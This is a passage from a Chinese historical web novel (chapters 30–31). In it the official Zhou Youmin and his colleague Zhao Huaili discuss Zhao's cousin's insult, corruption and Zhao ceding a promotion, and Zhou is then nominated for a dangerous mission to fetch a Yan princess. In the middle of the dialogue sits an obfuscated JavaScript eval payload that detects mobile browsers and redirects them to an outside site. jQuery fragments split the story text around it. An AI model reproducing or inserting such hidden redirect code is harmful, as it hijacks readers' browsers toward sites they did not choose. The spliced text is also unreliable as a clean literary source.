30
我下了马车，入了宫门。在前去正殿的路上，忽然有人从身后叫住了我。
“周侍郎，请留步。”
我回过头，原来是赵怀礼。他平日里总是衣冠整齐，现在却有些狼狈。额头冒着细汗，鬓边头发稍显凌乱，皮肤泛着薄红，呼吸也较为急促，像是一路小跑过来的。
“赵兄喊得如此客气，我还以为是别人呢。听惯了你直呼其名，现在忽然改口，我真有点不适应。”我笑着凑过去，伸手扶正了他的发冠，打趣着问道，“发生了什么事，竟让我们赵大人这般匆忙？”
赵怀礼端正神色，对我弯下腰，深深行了一礼。他道：“我是过来道歉的。”
“赵兄做了什么事，为何要道歉？”
“今早我正要出门，却撞见我表弟从外面回来。他行色慌乱，面露心虚，我再三询问，才得知他当街冲撞了你。”
赵怀礼保持着弯腰的姿势，我甚至能看见他头顶发簪雕刻的花纹。
我双手抵着他的肩膀，试图掰正他的身体：“快起来，就算有错，做错事的也是你表弟，轮不到你道歉。”
赵怀礼纹丝不动，依旧低着头：“是我管教不严，放任他肆意妄为，今天闯下这等祸，给你添了麻烦。”
真是死脑筋，怎么比磨坊的驴子还倔。
“上回是侄子，这次是表弟。赵家人丁兴旺，赵兄要操心的事，可真是多呀。”我叹了一口气，索性放弃说服他，直接双手叉腰，承认道，“反正你表弟也没骂错，我就是个谄媚的奸臣。就算那天被人当街刺死，也算死不足惜。”
赵怀礼闻言，立即抬起头，脸上俱是错愕。他道：“何出此言？旁人不曾知晓你的性情，才会在背后造谣生事。我表弟自小跟在我身后，孺慕之情有些偏激，才会偏听偏信，说出那些冒犯的话。你千万不要往心里去，更不要当真，绝不可因此妄自菲薄。”
“这话说的，就好像你知道我是什么人一样。别说是千人千面，哪怕是一人也有千面。见人说人话，见鬼说鬼话。你以为我有多高尚廉洁，不过是我装出来的模样，实际上我就是个贪财的小人。志趣相投都是假的，而黄金白银才是真的。”
赵怀礼愣在原地，似乎有些不可置信。
他道：“我见过很多人，分得清真心假意。哪怕是我识人不清，哪怕是你满口谎言，那日所说的话，也绝不是一个中饱私囊的无能之辈能说出口的，你怎么会……”
“哈哈哈我逗你的，瞧你这紧张的样。”我大笑着摆了摆手，揽过赵怀礼的肩膀，“其实我跟你说的所有话，确实都是出自真心实意。”
我伸出一根手指，用另一只手压弯了它，问道：“赵兄可明白过刚易折的道理？”
赵怀礼点头：“自然。”
我继续道：“水至清者无鱼，过于清正廉洁，未必是件好事。赵兄做得到心怀天下，可大多数人都做不到。他们只看得到眼前的蝇头小利，若是有人背离自己的意愿，便会群起而攻之。”
“做坏人容易，做好人难。做奸臣容易，做清官难。全黑的纸张染了污渍，看起来并不明显，而全白的纸张滴了一粒墨点，却会异常显眼。好人要顾及的事情太多，难免束手束脚。而坏人无所顾忌，便可大展拳脚。”
“做清官需要行得正坐得端，但凡出现半点纰漏，便会受到指责。可人非圣贤，孰能无过？哪怕再谨小慎行，也难做到无可置疑。始终畏首畏尾，还要时刻提防小人暗算，如此弹尽竭虑，却未必能升官。在其位谋其职，没有高官，便没有权力。自然也就无力改变江山社稷，再好的宏图壮志也终成一纸空谈。”
赵怀礼的神情有些许动容，我便乘胜追击，继续忽悠：“与其束缚手脚，我宁愿离经叛道，走一条不为世人所理解的道路。我做奸臣，既图钱，也图权。权钱并无好坏，区别在于人心。哪怕是贿赂得来的钱，若是流向百姓，那也是善行。”
谎言重复千百次，不自觉便成了真。现如今，我也分不清，自己嘴里说出来的话，到底是虚情假意还是真情流露。
若我往上爬，爬到最高，是否可以改变这该死的尊卑贵贱？究竟是我被权力吞噬，还是权力被我扼杀，亦或是两者同归于尽？
赵怀礼的声音清朗，在我的耳边响起。他道：“周弟乃非常人，行的是非常事。”
“这番独特的见解，倒是令我醍醐灌顶。兴许是我太过迂腐，光读圣贤书，却忘记落到实处。果然这侍郎之位，比起我来当，还是周弟更合适。”
我挑了挑眉：“只凭借谄媚的本事，我便当上了侍郎，赵兄当真没有遗憾？”
赵怀礼摇头：“绝无遗憾。”
我道：“可你的家人，似乎对我颇有微词。”
赵怀礼的态度，并不代表别人的想法。从他表弟的行为，就可以窥见一二。
我半路截胡了赵怀礼的官职，赵家人肯定大为恼火。他们打点好关系，想要将赵怀礼捧上去，却被我钻了空子。估计是在背地里讨论我，让小辈听了去，才会闹出今日的事端。
赵怀礼愣了愣，随即解释道：“你放心，他们不会为难你。”
他听懂了我的言下之意。作为寒门出身的书生，我在朝廷无依无靠，甚至都没有亲近任何党派。若是得罪了赵家，日子自然会不大好过。
现如今我正得势，他们看在皇帝的面子上不会动我。但圣心难测，日后我若失势，说不定人人都能来踩上一脚。
此外，我也很在意赵怀礼表弟所说的话。他说，是赵怀礼在让我。
“赵怀礼，你实话告诉我。你是不是在可怜我？”
他矢口否认：“没有。”
我却起了疑心：“从内定你为侍郎的消息传出，到圣上的生辰，中间有一段时日。这期间分明可以下达任命书，却迟迟没有动静。张尚书办事从来不会拖泥带水，除非是你自己不愿。我说的对吗？”
“看来还是瞒不过你。”赵怀礼长叹一声，解释道，“其实，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574742|171380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自从上次跟你长谈，回家后我思虑良久，始终觉得自己并非礼部侍郎的最好人选。论资历，你比我早一年。论办事能力，你也不逊于我。我胜过你的地方，无非是家世。可我偏偏不想要凭借这个，来获得这份升迁。”
他目光灼灼，言之切切：“我曾无数问自己，若我不姓赵，仅凭自己，能够走到如今的地位吗？若我不是赵怀礼，而是张三李四王五，这份官职会属于我吗？构成我赵怀礼的，不应当是家世身份，而应是才华品格。若我接受了任命书，我便不再是我。”
“君子和而不同，我理解你的立场，但我也有自己的坚持。”我抬起头，望着赵怀礼的眼睛，认真说道，“你的谦让，对于我来说，反而是一种傲慢。我不是路边的乞丐，官位也不是廉价的大饼，我不需要你故意施舍。谁输谁赢，自然是各凭本事。”
“我想要的，必定要得到。不管是争，还是抢，我都会拿到手。你若真是故意让着我，那才是真的看不起我。”
“你啊，总是……会说出让我惊讶的话。”赵怀礼抿了抿唇，表情看起来有些无奈，却有带着几分释然，“好，我答应你，以后若是再有类似的事，我必然不会再让你。”
说到这里，他像是想起了什么事情，忽然伸手摸向我的胳膊：“上次的擦伤，没有留疤吧？”
“那点小伤，早就好了。”我微微侧身，避开他的手，顺势岔开话题，“时候也不早了，再聊下去，该赶不上早朝了。”
31
早朝的队列，便代表了官职地位。
升为侍郎以后，我的站队往前移了两排。起初刚入京那会儿，我待在队列末尾，只能看见张知节的后脑勺。而如今，我总算能看清他的肩膀了。
只是如此，还远远不够。我希望有朝一日，能轮到他来盯着我的后背。
朝廷讨论的事务，无非是内政外敌。而今日议论的焦点，便是燕国的和亲之事。
我国跟燕国交战，已经持续了一年。其中你来我往，打得不分上下，昨日你败一城，明日我失一城。来回拉锯战，始终分不出胜负。
正所谓一将功成万骨枯，每场战役都是用人命鲜血垒出来的。再持续下去，粮草兵马耗尽，百姓苦不堪言，双方都讨不到好处。
燕国实在按捺不住，率先派人过来和谈。和谈的内容之一，就是他们会将公主嫁过来和亲。
目前需要定下来的事，就是前去接公主的队伍人选。各部需要派遣相关官员，共同组建起这支队伍，前去偏远的燕国。
这是一件苦差事，因为两国关系尚不稳定，燕国的真实目的不明，说不定这就是一场有去无回的鸿门宴。因此底层的朝臣们全部都捏了一把汗，生怕这事最后落到了自己头上。
礼部负责祭祀天地、礼仪典章、婚丧嫁娶，自然无可推卸。
当问及礼部何人出使时，张知节忽然出列，开口道：“臣举荐礼部侍郎，周佑民。”
我心里咯噔一下，暗道不妙。